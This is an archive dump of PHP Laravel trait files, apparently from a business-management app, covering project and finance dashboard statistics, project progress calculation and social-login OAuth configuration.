->whereDate('end_time', '<=', $endDate) ->whereNotNull('project_id') ->where('approved', 1) ->sum('total_minutes'); $breakMinutes = ProjectTimeLogBreak::join('project_time_logs', 'project_time_log_breaks.project_time_log_id', '=', 'project_time_logs.id') ->whereDate('project_time_logs.start_time', '>=', $startDate) ->whereDate('project_time_logs.end_time', '<=', $endDate) ->whereNotNull('project_time_logs.project_id') ->sum('project_time_log_breaks.total_minutes'); $hoursLogged = $hoursLogged - $breakMinutes; // Convert total minutes to hours and minutes $hours = intdiv($hoursLogged, 60); $minutes = $hoursLogged % 60; // Format output based on hours and minutes $this->totalHoursLogged = $hours > 0 ? $hours . 'h' . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : '') : ($minutes > 0 ? sprintf('%dm', $minutes) : '0s'); /** @phpstan-ignore-next-line */ if ($todayDate >= $startDate && $todayDate <= $endDate) { $this->totalOverdueProject = Project::whereNotNull('deadline') ->whereRaw('Date(projects.deadline) >= ?', [$startDate]) ->whereRaw('Date(projects.deadline) < ?', [$todayDate])->count(); }else{ $this->totalOverdueProject = Project::whereNotNull('deadline')->whereBetween(DB::raw('DATE(`deadline`)'), [$startDate, $endDate])->count(); } $this->widgets = DashboardWidget::where('dashboard_type', 'admin-project-dashboard')->get(); $this->activeWidgets = $this->widgets->filter(function ($value, $key) { return $value->status == '1'; })->pluck('widget_name')->toArray(); $this->pendingMilestone = ProjectMilestone::whereBetween(DB::raw('DATE(project_milestones.`created_at`)'), [$startDate, $endDate]) ->with('project', 'currency') ->whereHas('project') ->where('status', 'incomplete') ->get(); $this->statusWiseProject = $this->statusChartData($startDate, $endDate); $this->view = 'dashboard.ajax.project'; } public function statusChartData($startDate, $endDate) { $labels = ProjectStatusSetting::where('status', 'active')->pluck('status_name'); $data['labels'] = ProjectStatusSetting::where('status', 'active')->pluck('status_name'); $data['colors'] = ProjectStatusSetting::where('status', 'active')->pluck('color'); $data['values'] = []; foreach ($labels as $label) { $data['values'][] = Project::whereBetween(DB::raw('DATE(`created_at`)'), [$startDate, $endDate])->where('status', $label)->count(); } return $data; } } Traits/FinanceDashboard.php000064400000033637150325104510011706 0ustar00viewFinanceDashboard = user()->permission('view_finance_dashboard'); abort_403($this->viewFinanceDashboard !== 'all'); $this->startDate = (request('startDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('startDate')) : now($this->company->timezone)->startOfMonth(); $this->endDate = (request('endDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('endDate')) : now($this->company->timezone); $startDate = $this->startDate->toDateString(); $endDate = $this->endDate->toDateString(); $this->widgets = DashboardWidget::where('dashboard_type', 'admin-finance-dashboard')->get(); $this->activeWidgets = $this->widgets->filter(function ($value, $key) { return $value->status == '1'; })->pluck('widget_name')->toArray(); // count of paid invoices $this->totalPaidInvoice = Invoice::where('status', 'paid') ->whereBetween(DB::raw('DATE(`issue_date`)'), [$startDate, $endDate]) ->select('id') ->count(); $this->totalUnPaidInvoice = Invoice::where(function ($query) { return $query->where('status', 'unpaid') ->orWhere('status', 'partial'); }) ->whereBetween(DB::raw('DATE(`issue_date`)'), [$startDate, $endDate]) ->select('id') ->count(); // Total Expense $expenses = Expense::whereBetween(DB::raw('DATE(expenses.`purchase_date`)'), [$startDate, $endDate]) ->join('currencies', 'currencies.id', '=', 'expenses.currency_id') ->select( 'expenses.id', 'expenses.price', 'expenses.exchange_rate as expenseExchangeRate', 'currencies.currency_code', 'currencies.is_cryptocurrency', 'currencies.usd_price', 'currencies.exchange_rate' ) ->where('expenses.status', 'approved') ->get(); $totalExpenses = 0; foreach ($expenses as $expense) { $defaultPrice = floatval($expense->price) * floatval($expense->expenseExchangeRate); $totalExpenses += $defaultPrice; } $this->totalExpenses = round($totalExpenses, 2); // Total Earning $paymentsModal = Payment::whereBetween(DB::raw('DATE(payments.`paid_on`)'), [$startDate, $endDate]); $payments = clone $paymentsModal; $payments = $payments->join('currencies', 'currencies.id', '=', 'payments.currency_id') ->where('payments.status', 'complete') ->select( DB::raw('(payments.amount) as total'), 'currencies.currency_code', 'currencies.is_cryptocurrency', 'currencies.usd_price', 'currencies.exchange_rate', 'currencies.id as currency_id', 'payments.exchange_rate', ) ->get(); $totalEarnings = 0; foreach ($payments as $payment) { if (isset($payment->currency) && $payment->currency->currency_code != $this->company->currency->currency_code && $payment->exchange_rate != 0) { if ($payment->currency->is_cryptocurrency == 'yes') { $usdTotal = (floatval($payment->total) * floatval($payment->currency->usd_price)); $totalEarnings += floor(floatval($usdTotal) * floatval($payment->currency->exchange_rate)); } else { $totalEarnings += floatval($payment->total) * floatval($payment->exchange_rate); } } else { $totalEarnings += $payment->total; } } $this->totalEarnings = round($totalEarnings, 2); // Total Pending amount $invoices = Invoice::whereBetween(DB::raw('DATE(invoices.`issue_date`)'), [$startDate, $endDate]) ->join('currencies', 'currencies.id', '=', 'invoices.currency_id') ->where(function ($q) { $q->where('invoices.status', 'unpaid'); $q->orWhere('invoices.status', 'partial'); }) ->select( 'invoices.*', 'currencies.currency_code', 'currencies.is_cryptocurrency', 'currencies.usd_price', 'currencies.exchange_rate' ) ->get(); $totalPendingAmount = 0; foreach ($invoices as $invoice) { if ($invoice->currency->currency_code != $this->company->currency->currency_code && $invoice->currency->exchange_rate != 0) { if ($invoice->currency->is_cryptocurrency == 'yes') { $usdTotal = ($invoice->due_amount * $invoice->currency->usd_price); $totalPendingAmount += floor(floatval($usdTotal) * floatval($invoice->currency->exchange_rate)); } else { $totalPendingAmount += floatval($invoice->due_amount) * floatval($invoice->currency->exchange_rate); } } else { $totalPendingAmount += $invoice->due_amount; } } $this->totalPendingAmount = round($totalPendingAmount, 2); $this->invoiceOverviewChartData = $this->invoiceOverviewChartData($startDate, $endDate); $this->estimateOverviewChartData = $this->estimateOverviewChartData($startDate, $endDate); $this->proposalOverviewChartData = $this->proposalOverviewChartData($startDate, $endDate); $this->clientEarningChart = $this->clientEarningChart($startDate, $endDate); $this->projectEarningChartData = $this->projectEarningChartData($startDate, $endDate); $this->view = 'dashboard.ajax.finance'; } public function invoiceOverviewChartData($startDate, $endDate) { $data['values'] = []; $data['colors'] = []; $allInvoice = Invoice::whereBetween(DB::raw('DATE(`issue_date`)'), [$startDate, $endDate])->get(); $data['values'][] = $allInvoice->filter(function ($value, $key) { return $value->status == 'draft'; })->count(); $data['colors'][] = '#1d82f5'; $data['values'][] = $allInvoice->filter(function ($value, $key) { return $value->send_status == 0; })->count(); $data['colors'][] = '#4d4f5c'; $data['values'][] = $allInvoice->filter(function ($value, $key) { return $value->status == 'unpaid'; })->count(); $data['colors'][] = '#D30000'; $data['values'][] = $allInvoice->filter(function ($value, $key) { return ($value->status == 'unpaid' || $value->status == 'partial') && $value->due_date->lessThan(now()); })->count(); $data['colors'][] = '#99A5B5'; $data['values'][] = $allInvoice->filter(function ($value, $key) { return $value->status == 'partial'; })->count(); $data['colors'][] = '#FCBD01'; $data['values'][] = $allInvoice->filter(function ($value, $key) { return $value->status == 'paid'; })->count(); $data['colors'][] = '#2CB100'; $data['labels'] = [__('modules.dashboard.invoiceDraft'), __('modules.dashboard.invoiceNotSent'), __('modules.dashboard.invoiceUnpaid'), __('modules.dashboard.invoiceOverdue'), __('modules.dashboard.invoicePartiallyPaid'), __('modules.dashboard.invoicePaid')]; return $data; } public function estimateOverviewChartData($startDate, $endDate) { $data['values'] = []; $data['colors'] = []; $allEstimate = Estimate::whereBetween(DB::raw('DATE(`valid_till`)'), [$startDate, $endDate])->get(); $data['values'][] = $allEstimate->filter(function ($value, $key) { return $value->status == 'draft'; })->count(); $data['colors'][] = '#1d82f5'; $data['values'][] = $allEstimate->filter(function ($value, $key) { return $value->send_status == 0; })->count(); $data['colors'][] = '#4d4f5c'; $data['values'][] = $allEstimate->filter(function ($value, $key) { return $value->send_status == 1; })->count(); $data['colors'][] = '#FCBD01'; $data['values'][] = $allEstimate->filter(function ($value, $key) { return $value->status == 'declined'; })->count(); $data['colors'][] = '#99A5B5'; $data['values'][] = $allEstimate->filter(function ($value, $key) { return $value->status == 'waiting' && $value->valid_till->lessThan(now()); })->count(); $data['colors'][] = '#D30000'; $data['values'][] = $allEstimate->filter(function ($value, $key) { return $value->status == 'accepted'; })->count(); $data['colors'][] = '#2CB100'; $data['labels'] = [__('modules.dashboard.estimateDraft'), __('modules.dashboard.estimateNotSent'), __('modules.dashboard.estimateSent'), __('modules.dashboard.estimateDeclined'), __('modules.dashboard.estimateExpired'), __('modules.dashboard.estimateAccepted')]; return $data; } public function proposalOverviewChartData($startDate, $endDate) { $data['values'] = []; $data['colors'] = []; $allProposal = Proposal::whereBetween(DB::raw('DATE(`created_at`)'), [$startDate, $endDate])->get(); $data['values'][] = $allProposal->filter(function ($value, $key) { return $value->status == 'waiting'; })->count(); $data['colors'][] = '#FCBD01'; $data['values'][] = $allProposal->filter(function ($value, $key) { return $value->status == 'declined'; })->count(); $data['colors'][] = '#D30000'; $data['values'][] = $allProposal->filter(function ($value, $key) { return $value->status = 'waiting' && $value->valid_till->lessThan(now()); })->count(); $data['colors'][] = '#99A5B5'; $data['values'][] = $allProposal->filter(function ($value, $key) { return $value->status == 'accepted'; })->count(); $data['colors'][] = '#2CB100'; $data['values'][] = $allProposal->filter(function ($value, $key) { return $value->invoice_convert == 1; })->count(); $data['colors'][] = '#1d82f5'; $data['labels'] = [__('modules.dashboard.proposalWaiting'), __('modules.dashboard.proposalDeclined'), __('modules.dashboard.proposalExpired'), __('modules.dashboard.proposalAccepted'), __('modules.dashboard.proposalConverted')]; return $data; } public function projectEarningChartData($startDate, $endDate) { // earnings By Projects $paymentsModal = Payment::whereBetween(DB::raw('DATE(payments.`paid_on`)'), [$startDate, $endDate]); $projects = clone $paymentsModal; $projects->join('currencies', 'currencies.id', '=', 'payments.currency_id') ->join('projects', 'projects.id', '=', 'payments.project_id') ->where('payments.status', 'complete') ->orderBy('payments.paid_on', 'ASC') ->select( 'payments.amount as total', 'payments.exchange_rate as exchange_rate', 'currencies.currency_code as currency_code', 'currencies.is_cryptocurrency as is_cryptocurrency', 'currencies.usd_price as usd_price', 'projects.project_name' ); $invoices = clone $paymentsModal; $invoices = $invoices->join('currencies', 'currencies.id', '=', 'payments.currency_id') ->join('invoices', 'invoices.id', '=', 'payments.invoice_id') ->join('projects', 'projects.id', '=', 'invoices.project_id') ->where('payments.status', 'complete') ->orderBy('payments.paid_on', 'ASC') ->select( 'payments.amount as total', 'payments.exchange_rate as exchange_rate', 'currencies.currency_code as currency_code', 'currencies.is_cryptocurrency as is_cryptocurrency', 'currencies.usd_price as usd_price', 'projects.project_name as project_name' ) ->union($projects) ->get(); $earningsByProjects = array(); foreach ($invoices as $invoice) { if (!array_key_exists($invoice->project_name, $earningsByProjects)) { $earningsByProjects[$invoice->project_name] = 0; } if ($invoice->currency_code != $this->company->currency->currency_code && $invoice->exchange_rate != 0) { if ($invoice->is_cryptocurrency == 'yes') { $usdTotal = ($invoice->total * $invoice->usd_price); $earningsByProjects[$invoice->project_name] = $earningsByProjects[$invoice->project_name] + round(floor(floatval($usdTotal) * floatval($invoice->exchange_rate)), 2); } else { $earningsByProjects[$invoice->project_name] = $earningsByProjects[$invoice->project_name] + round((floatval($invoice->total) * floatval($invoice->exchange_rate)), 2); } } else { $earningsByProjects[$invoice->project_name] = $earningsByProjects[$invoice->project_name] + round($invoice->total, 2); } } $data['labels'] = array_keys($earningsByProjects); $data['values'] = array_values($earningsByProjects); $data['colors'] = [$this->appTheme->header_color]; $data['name'] = __('app.earnings'); return $data; } } Traits/ProjectProgress.php000064400000002234150325104510011653 0ustar00findOrFail($projectId); if (!is_null($project) && ($project->calculate_task_progress == 'true' || $projectProgress == 'true')) { $taskBoardColumn = TaskboardColumn::completeColumn(); if (is_null($projectId)) { return false; } $totalTasks = Task::where('project_id', $projectId)->count(); if ($totalTasks == 0) { return '0'; } $completedTasks = Task::where('project_id', $projectId) ->where('tasks.board_column_id', $taskBoardColumn->id) ->count(); $percentComplete = ($completedTasks / $totalTasks) * 100; $project->completion_percent = $percentComplete; $project->save(); return $percentComplete; } } } Traits/SocialAuthSettings.php000064400000004205150325104510012275 0ustar00facebook_client_id) ?: env('FACEBOOK_CLIENT_ID')); Config::set('services.facebook.client_secret', ($settings->facebook_secret_id) ?: env('FACEBOOK_CLIENT_SECRET')); Config::set('services.facebook.redirect', $this->updateMainAppUrl(route('social_login_callback', 'facebook'))); Config::set('services.google.client_id', ($settings->google_client_id) ?: env('GOOGLE_CLIENT_ID')); Config::set('services.google.client_secret', ($settings->google_secret_id) ?: env('GOOGLE_CLIENT_SECRET')); Config::set('services.google.redirect', $this->updateMainAppUrl(route('social_login_callback', 'google'))); Config::set('services.twitter-oauth-2.client_id', ($settings->twitter_client_id) ?: env('TWITTER_CLIENT_ID')); Config::set('services.twitter-oauth-2.client_secret', ($settings->twitter_secret_id) ?: env('TWITTER_CLIENT_SECRET')); Config::set('services.twitter-oauth-2.redirect', $this->updateMainAppUrl(route('social_login_callback', 'twitter'))); Config::set('services.linkedin-openid.client_id', ($settings->linkedin_client_id) ?: env('LINKEDIN_CLIENT_ID')); Config::set('services.linkedin-openid.client_secret', ($settings->linkedin_secret_id) ?: env('LINKEDIN_CLIENT_SECRET')); Config::set('services.linkedin-openid.redirect', $this->updateMainAppUrl(route('social_login_callback', 'linkedin'))); } private function updateMainAppUrl($url) { if (isWorksuiteSaas() && module_enabled('Subdomain')) { $appUrl = config('app.main_app_url'); $appUrl = str($appUrl)->after('://')->before('/'); $currentUrl = str(url('/'))->after('://')->before('/'); $url = str($url)->replace($currentUrl, $appUrl)->__toString(); } return $url; } }